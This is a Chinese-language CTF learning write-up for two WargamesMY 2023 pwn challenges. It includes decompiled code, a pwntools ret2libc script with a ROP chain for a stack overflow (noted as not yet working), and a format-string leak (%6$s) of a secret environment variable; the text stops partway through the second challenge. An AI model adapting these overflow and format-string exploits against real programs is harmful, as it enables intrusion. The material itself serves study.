231216_WargamesMY CTF learning record

【全栈ctfer计划中,会持续复现学习与更新该文章】

题目归档坐标

231216 | RP01sword战队wiki

pwn

Magic Door

考察点:

(1)查看程序保护 2023-12-20-22-02-28 开了nx保护,利用shellcode困难,且是amd64 (2)查看程序重定位表和导入表: 导入表记录着从外部导入的符号信息,导入表包含程序导入外部函数的.plt表项,重定位表包含外部函数对应的.got.plt表项 2023-12-20-22-18-28 (3)反编译分析: main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 open_the_door()
{
__int64 result; // rax
char input[12]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+Ch] [rbp-4h]

initialize();
puts("Welcome to the Magic Door !");
printf("Which door would you like to open? ");
__isoc99_scanf("%11s", input);
getchar();
if ( !strcmp(input, "50015") || (v2 = atoi(input), v2 != 50015) )
result = no_door_foryou();
else
result = magic_door(50015LL);
return result;
}

先获取第一次输入,我们目的是要让其执行第二个result,那么就要让strcmp()结果返回1,即输入不与50015相同,可是要使整个if条件为假,还要满足“||“后面部分为0,该部分使用了atoi函数将input字符串转换为整数并赋值给v2,最后判断v2是否等于50015,显然,我们要让v2=50015,综合整个条件,可知我们必须让input = 50015fsljf,即前面是50015后面随便加任意字符串。 执行程序来验证输入: 2023-12-20-21-15-50 接着跟进到下一个函数: magic_door:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
char *magic_door()
{
char input2[8]; // [rsp+10h] [rbp-40h] BYREF
__int64 v2; // [rsp+18h] [rbp-38h]
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+40h] [rbp-10h]
__int64 v8; // [rsp+48h] [rbp-8h]

*(_QWORD *)input2 = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
puts("Congratulations! You opened the magic door!");
puts("Where would you like to go? ");
return fgets(input2, 256, stdin);
}

这里就是简单的获取输入,没有什么逻辑判断,因此这里的padding最好判断,点input2跟进它在栈中的位置或者用cyclic都可以,得出结果相同: 2023-12-20-21-57-19 可知从input2到覆盖返回地址的偏移为0x48 2023-12-20-21-59-50 十进制72刚好就是0x48

(4)动态调试: 由于我们的目的是要getshell,需要调用system函数,但是程序中没有找到,那就试着ret2libc,且是amd64程序,可能需要用到ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './magic_door' # pwn程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('8.134.95.127',7778 ) # 打远程则开启这个并注释掉前两个
elf = ELF('./magic_door')

del1 = b'open?'
x = b'50015a'

io.sendlineafter(del1,x)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# printf_plt = elf.got['printf']
# printf_got = elf.got['printf']
magic_door = elf.symbols['magic_door']
padding = 0x48 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
pop_rdi_ret = 0x401434
ret = 0x401388

del2 = b'go?'
# 泄漏出libc的puts函数加载地址
payload1 = padding * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(magic_door)
# pwndbg附加调试
# gdb.attach(io)
# pause()
io.sendlineafter(del2,payload1) # 接收到对应最后的字符后才发送我们的payload

output = io.recvuntil('\n')
leaked_address = output[:8]
address_value = u64(leaked_address)
print("Leaked address: 0x{:x}".format(address_value))
# print(hex(leak_puts)) # 输出泄漏的地址

io.interactive() # 打通后获得一个交互式shell

(待续)遇到问题:输出puts的泄漏地址不成功

pakmatburger

考察点:

(1)查看程序保护 2023-12-22-14-47-13 保护全开,问题就有些棘手了 (2)查看程序重定位表和导入表 2023-12-22-15-49-18 2023-12-22-15-50-06 (3)反编译分析 main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
const char *s2; // [rsp+0h] [rbp-40h]
char s1[9]; // [rsp+Ah] [rbp-36h] BYREF //0x3e、62
char s[10]; // [rsp+13h] [rbp-2Dh] BYREF //0x35、53
char format[12]; // [rsp+1Dh] [rbp-23h] BYREF //0x2b、43
char v8[15]; // [rsp+29h] [rbp-17h] BYREF
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
initialize();
s2 = getenv("SECRET_MESSAGE");
if ( s2 )
{
puts("Welcome to Pak Mat Burger!");
printf("Please enter your name: ");
__isoc99_scanf("%11s", format);
printf("Hi ");
printf(format);
printf(", to order a burger, enter the secret message: ");
__isoc99_scanf("%8s", s1);
if ( !strcmp(s1, s2) )
{
puts("Great! What type of burger would you like to order? ");
__isoc99_scanf("%14s", v8);
getchar();
printf("Please provide your phone number, we will delivered soon: ");
result = (unsigned int)fgets(s, 100, stdin);
}
else
{
puts("Sorry, the secret message is incorrect. Exiting...");
result = 0;
}
}
else
{
puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
result = 1;
}
return result;
}

首先判断SECRET_MESSAGE是否存在,不存在则提示并退出程序,因此在本地调试之前可以设置为任意值,因为只需要该值存在,如果是在远程就不需要,部署环境时已设置正确的值。当前shell中输入命令:

1
export SECRET_MESSAGE=hello

接着第一个输入获取是名字,注意到这里用的scanf函数,并且存在格式化字符串,可能可以利用格式化字符串漏洞,然后输出我们的输入,接着要我们输入secret message,作为变量s1,注意到下面用strcmp函数对最初设置的环境变量s2和现在的s1做比较,当两者相等返回0才满足if条件为真,显然只要输入hello就可以,但问题是如果是远程的环境,我们并不知道环境变量SECRET_MESSAGE的值,所以我们可以尝试利用格式化字符串漏洞来泄漏出这个值。接着,获取输入电话号码的函数fgets中,s的长度为10,但是fgets却允许在数组放入100个字符,显然存在缓冲区溢出漏洞。

在程序中我们还找到了由程序本身定义的secret_order函数(而不是调用libc的):

1
2
3
4
int secret_order()
{
return system("cat ./flag.txt");
}

噢!这个函数直接调用了system函数获取flag,因此我们还可以尝试溢出后返回到这个函数!

(4)动态调试: 首先给第一次的scanf函数下一个断点,便于每次测试,先尝试几次看看能不能泄漏,从$1开始: 2024-01-19-11-56-39 2024-01-19-11-57-19 显然,由于这是x64程序,在第二次printf执行之前,我们的格式化字符串输入%1$p作为第一个参数存储在寄存器rdi,而%1$p泄漏的地址就是该参数后的下一个参数位置,这是由格式化输出函数的特性决定的,随着格式化字符串的递增,就是泄漏rsirdxrcxr8r9、栈rsp…噢就像个无底洞,总之几乎所有都可以泄漏。

泄漏SECRET_MESSAGE

经过验证发现,当我们最终输入%6$p时,就指向了rsp,其内存中存储的数据正好就是最初设置的SECRET_MESSAGE!!我们还可以用%6$s进行验证: 2024-01-19-12-13-08 2024-01-19-12-13-49 显然我们就可以通过%6$s来泄漏出远程环境变量的真正值: 2024-01-19-12-15-45 我们是对的,注意这里是比赛后给的Dockerfile搭建环境后复现的,环境和比赛时是一样的,所以不必纠结